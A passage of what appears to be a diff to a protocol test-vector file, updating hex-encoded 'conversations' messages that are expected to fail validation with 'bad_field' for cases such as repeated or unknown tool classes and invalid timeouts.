2d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-tool-classes-repeat", "direction": "down", - "hex": "574d583101010000010000002e0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006b0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-tool-class-unknown", "direction": "down", - "hex": "574d58310101000001000000310600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c226e6574776f726b225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c226e6574776f726b225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-timeout-zero", "direction": "down", - "hex": "574d58310101000001000000340600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000710600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { - "name": "conversations-timeout-over-ten-minutes", + "name": "conversations-timeout-over-a-day", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030312c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000780600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a38363430303030312c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-timeout-fraction", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a313030302e352c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a3235303